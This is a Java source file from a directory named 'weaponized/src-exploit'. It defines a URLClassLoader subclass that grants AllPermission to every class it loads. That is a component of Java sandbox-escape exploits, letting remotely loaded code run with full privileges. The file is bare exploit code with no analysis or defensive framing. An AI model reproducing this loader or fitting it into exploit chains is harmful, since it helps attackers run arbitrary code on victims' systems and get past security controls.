weaponized/src-exploit/x/PrivilegedURLClassLoader.java
package x;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.PermissionCollection;
import java.security.Permissions;
public class PrivilegedURLClassLoader extends URLClassLoader {
Permissions perms;
public PrivilegedURLClassLoader(URL[] aurl, ClassLoader classloader) {
super(aurl, classloader);
init();
}
public PrivilegedURLClassLoader(URL[] aurl) {
super(aurl);
init();
}
private void init() {
perms = new Permissions();
perms.add(new AllPermission());
}
@Override
protected PermissionCollection getPermissions(CodeSource codesource) {
return perms;
}
}